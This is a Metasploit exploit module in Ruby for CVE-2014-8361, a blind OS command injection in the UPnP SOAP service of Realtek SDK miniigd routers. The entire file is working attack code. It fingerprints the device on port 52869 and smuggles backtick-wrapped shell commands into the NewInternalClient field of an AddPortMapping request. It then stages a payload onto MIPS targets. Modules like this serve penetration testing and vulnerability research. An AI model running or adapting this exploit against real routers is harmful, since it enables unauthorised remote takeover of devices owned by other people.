## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include REXML def initialize(info = {}) super(update_info(info, 'Name' => 'Realtek SDK Miniigd UPnP SOAP Command Execution', 'Description' => %q{ Different devices using the Realtek SDK with the miniigd daemon are vulnerable to OS command injection in the UPnP SOAP interface. Since it is a blind OS command injection vulnerability, there is no output for the executed command. This module has been tested successfully on a Trendnet TEW-731BR router with emulation. }, 'Author' => [ 'Ricky "HeadlessZeke" Lawshae', # Vulnerability discovery 'Michael Messner ' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2014-8361'], ['ZDI', '15-155'], ['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Software-Development-KITchen-sink/ba-p/6745115#.VWVfsM_tmko'], ['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10055'] ], 'DisclosureDate' => 'Apr 24 2015', 'Privileged' => true, 'Payload' => { 'DisableNops' => true }, 'Targets' => [ [ 'MIPS Little Endian', { 'Platform' => 'linux', 'Arch' => ARCH_MIPSLE } ], [ 'MIPS Big Endian', { 'Platform' => 'linux', 'Arch' => ARCH_MIPSBE } ] ], 'DefaultTarget' => 0 )) deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') register_options( [ Opt::RPORT(52869) # port of UPnP SOAP webinterface ], self.class) end def check begin res = send_request_cgi({ 'uri' => '/picsdesc.xml' }) if res && [200, 301, 302].include?(res.code) && res.headers['Server'] =~ /miniupnpd\/1.0 UPnP\/1.0/ return Exploit::CheckCode::Detected end rescue ::Rex::ConnectionError return Exploit::CheckCode::Unknown end Exploit::CheckCode::Unknown end def exploit print_status("#{peer} - Trying to access the device ...") unless check == Exploit::CheckCode::Detected fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device") end print_status("#{peer} - Exploiting...") execute_cmdstager( :flavor => :echo, :linemax => 50, :nodelete => true ) end def execute_command(cmd, opts) uri = '/wanipcn.xml' soap_action = 'urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping' data_cmd = '' + build_soap_req begin res = send_request_cgi({ 'uri' => uri, 'vars_get' => { 'service' => 'WANIPConn1' }, 'ctype' => 'text/xml', 'method' => 'POST', 'headers' => { 'SOAPAction' => soap_action }, 'data' => data_cmd.gsub(/CMD_HERE/, "`#{cmd.gsub(/\\/, '\\\\\\\\\\')}`") }) return res rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") end end def build_soap_req new_external_port = rand(32767) + 32768 new_internal_port = rand(32767) + 32768 xml = Document.new xml.add_element( 'SOAP-ENV:Envelope', { 'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/', 'SOAP-ENV:encodingStyle' => 'http://schemas.xmlsoap.org/soap/encoding/' }) xml.root.add_element('SOAP-ENV:Body') body = xml.root.elements[1] body.add_element( 'm:AddPortMapping', { 'xmlns:m' => 'urn:schemas-upnp-org:service:WANIPConnection:1' }) port_mapping = body.elements[1] port_mapping.add_element('NewLeaseDuration') port_mapping.add_element('NewInternalClient') port_mapping.add_element('NewEnabled') port_mapping.add_element('NewExternalPort') port_mapping.add_element('NewRemoteHost') port_mapping.add_element('NewProtocol') port_mapping.add_element('NewInternalPort') port_mapping.elements['NewLeaseDuration'].text = '' port_mapping.elements['NewInternalClient'].text = 'CMD_HERE' port_mapping.elements['NewEnabled'].text = '1' port_mapping.elements['NewExternalPort'].text = "#{new_external_port}" port_mapping.elements['NewRemoteHost'].text = '' port_mapping.elements['NewProtocol'].text = 'TCP' port_mapping.elements['NewInternalPort'].text = "#{new_internal_port}" xml.to_s end end